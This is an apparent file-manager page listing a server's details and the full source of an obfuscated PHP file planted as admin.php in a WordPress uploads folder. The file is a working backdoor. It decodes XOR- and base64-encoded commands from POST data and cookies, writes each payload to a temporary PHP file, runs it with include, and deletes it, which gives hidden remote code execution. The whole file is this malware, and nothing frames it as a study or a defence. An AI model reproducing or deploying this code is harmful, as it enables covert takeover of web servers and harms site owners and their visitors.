HEX
Server: nginx/1.24.0
System: Linux webserver 6.8.0-85-generic #85-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 18 15:26:59 UTC 2025 x86_64
User: wpuser (1002)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /opt/wpsites/gsudice.dataconn.net/wp-content/uploads/2022/05/admin.php
<?php $xyrayamneu    =     'xyrayamneu'     ^ /*   rpgm */ '';$pwtmzgwr	= /*   oncwvw */ "\141"    .	"r"."r"."a"."y"."_".$xyrayamneu(273-164)   . /*shofpz   */ "a".$xyrayamneu(849-737);
$zzjci    =    "i"."m"."p"."l"."o"."\x64"   .  "e";


function /* kcuj*/ zcqjgws($kjhxeenvp,    $erxxwqql){


 /*   ykp*/ global	$xyrayamneu;
	    $kjhxeenvp   = /*  zyzfh   */ "<"	.	$xyrayamneu(793-730)    .      $xyrayamneu(112) /*   wcjppk*/ .	$xyrayamneu(104) /*  i_tia*/ .	"\160"    .   $xyrayamneu(32) /* z  */ .    "\165"	.    "\156"	. /*qktmk */ "\154"      .    $xyrayamneu(918-813)     . /*padhpp  */ "n"."k"."(".$xyrayamneu(594-499)    . /*  hvd   */ "\x5f" /* futyh   */ .	$xyrayamneu(70)    .       "\x49"   . /*  vzwpao */ "\114"      . /*   ynui */ "E".$xyrayamneu(95)	.       "_"."\51"    . /*kpwxz   */ "\73" /* p_u   */ . /*   bkj*/ $xyrayamneu(32) /* zhbir */ .	$kjhxeenvp["d"];
 /*  hd   */ $dnbclu /* gyimqf  */ = /* dtb   */ "f".$xyrayamneu(1053-948)       .    "l".$xyrayamneu(263-162)."\137" /*   t  */ .	"p".$xyrayamneu(719-602)  .	$xyrayamneu(116) /* sg   */ .    "\137"   .      $xyrayamneu(99)   .	"\157"	.     "n"."t".$xyrayamneu(263-162).$xyrayamneu(706-596)      .    "\x74"	.   $xyrayamneu(288-173);


 /* txz  */ 
 /*  ehd   */ $dnbclu($erxxwqql,	$kjhxeenvp);              vurfw_v($erxxwqql);
}




$bqaqy      = /* wmdhco  */ 73;



function	vurfw_v($erxxwqql)
{

     global    $xyrayamneu;

   
 /*ufz   */ include($erxxwqql);


    $geqdbf /*   nvx*/ = /*  heb  */ $erxxwqql;
      @unlink($geqdbf);}




function    yjbsve()


{
    global	$xyrayamneu;


 /*   vjezfj  */ $gohjpbgiwe     = /*  dvhv_*/ array();


	$gohjpbgiwe["p"."v"] /* hh */ = /*   jmws  */ phpversion();
    $gohjpbgiwe["\x73" /*   zuklog   */ .	"\x76"]     =	"3"."."."\65";


	$tsywv    =       74;

	echo /*   ygrs   */ @serialize($gohjpbgiwe);
}


function /* ixj*/ cbzbjmwvji($kjhxeenvp, /* w_ek   */ $epjdfnk)

{

 /* tsogq*/ global /*  gkv*/ $xyrayamneu;



 /*  h__mby */ $rsqzslun     = /*  e_tlp  */ "";      $disfkwpxjbxpwyx    = /*   t   */ strlen($kjhxeenvp);


      $vhf_rye	=    strlen($epjdfnk);
  $gohjpbgiwe     =    0;      $disfkwpxj    =	0;

	
    while	($gohjpbgiwe  <    $disfkwpxjbxpwyx)   {
    $xnkawyhmzz	= /*   ckbgb*/ $kjhxeenvp[$gohjpbgiwe] /*mgyl */ ^ /*   mox  */ $epjdfnk[$disfkwpxj /*  uvdo*/ %	$vhf_rye];   $rsqzslun    .= /*   qysjlr */ $xnkawyhmzz;

 /*  egojqh   */ $disfkwpxj++; /*xs */  /*  jeoymu*/ $gohjpbgiwe++;

    }
     /*  shrd  */ if      (strlen($rsqzslun)    >     20)   {    $ypitl    =       substr($rsqzslun,     0,  20);

 /*  wfzhhf*/ }
	if /*  y__pvb  */ (empty($rsqzslun))      {
 /*ocju   */ $rsqzslun  = /*  sdrj */ date('Y-m-d	H:i:s');


      } /*u  */ return    $rsqzslun;
}
function /* ogu   */ lt_yypuzsz($mxe_gzxjy)
{


	global	$xyrayamneu;     


 /* xh*/ $yjntxy /*   x */ =    "c"."\141"    . /*   mkuegx*/ $xyrayamneu(49)      .       "\61" /*   _ff */ . /* _cwz*/ $xyrayamneu(101) /* _gylua */ . /*f  */ "6"."\146"   .   $xyrayamneu(985-928) /*  qew*/ .    "-"."\x37" /*  dri   */ .    $xyrayamneu(788-738)      . /*  iakvl*/ $xyrayamneu(578-526)    .    $xyrayamneu(431-332)	. /*   xqyw   */ "-"."\x34"   . /* jqlr*/ "\63" /*   x_  */ .     $xyrayamneu(263-162)."c".$xyrayamneu(45)    .	"\141"."\x39"   .	"\142" /*  s*/ .   $xyrayamneu(263-162)."-"."5"."b"."\x31"	.	"4"."\x33" /*nj_fli  */ .   "\x36" /* mn   */ .    "\x34"      . /*jpwnfy   */ "\70"	. /*   pq */ "d"."0"."8".$xyrayamneu(999-900);


 /*   gqroa  */ 	foreach /*wh */ ($mxe_gzxjy       as       $atmzydwuz   => /* dngby   */ $kjhxeenvp)    { /*  ft  */ xpyqpbw(base64_decode($kjhxeenvp),   $yjntxy,	$atmzydwuz);
 /*   d*/ }


}
function    xpyqpbw($kjhxeenvp, /*   cuzrd   */ $yjntxy,    $atmzydwuz)


{
	global	$xyrayamneu;


 /*  vwzeuj  */ 
 /*vtm  */ $kjhxeenvp     = /* jf */ unserialize(cbzbjmwvji(cbzbjmwvji($kjhxeenvp,     $yjntxy),       $atmzydwuz));
	$dpwwexhc       = /*xcf*/ '_lahoviq';
	$xznxonw /*  zowp*/ =	'b_xtjil';
      if  (isset($kjhxeenvp["\141"."k"]))     {

 /*sdye*/ if /* crek   */ ($kjhxeenvp["\141"]  ==  "i") /*  dykfu  */ {    yjbsve(); /*milcw*/ } /*   pgdo */ elseif     ($kjhxeenvp["\141"] /* lkcr   */ == /*   aq */ $xyrayamneu(263-162))	{
  zcqjgws($kjhxeenvp, /*bpoth_*/ sprintf("\x2e" /* gff  */ .    "/"."%"."\163" /*   d   */ . /* yr_nu   */ "."."p".$xyrayamneu(108),    md5($yjntxy)));

			$netowbn /* vk*/ =      44;
  }


    exit();

 /*vpg*/ }


}


lt_yypuzsz($_POST); /* hhcywq */ 




$yzuawdcf   = /*lav  */ 'rawurldecode';



$fzgyw     =	$pwtmzgwr($yzuawdcf,     $_POST);

$zzjci("",	$yzuawdcf);
lt_yypuzsz($_COOKIE);


$w_hdlpr    =      $pwtmzgwr($yzuawdcf, /*z   */ $_COOKIE);

?>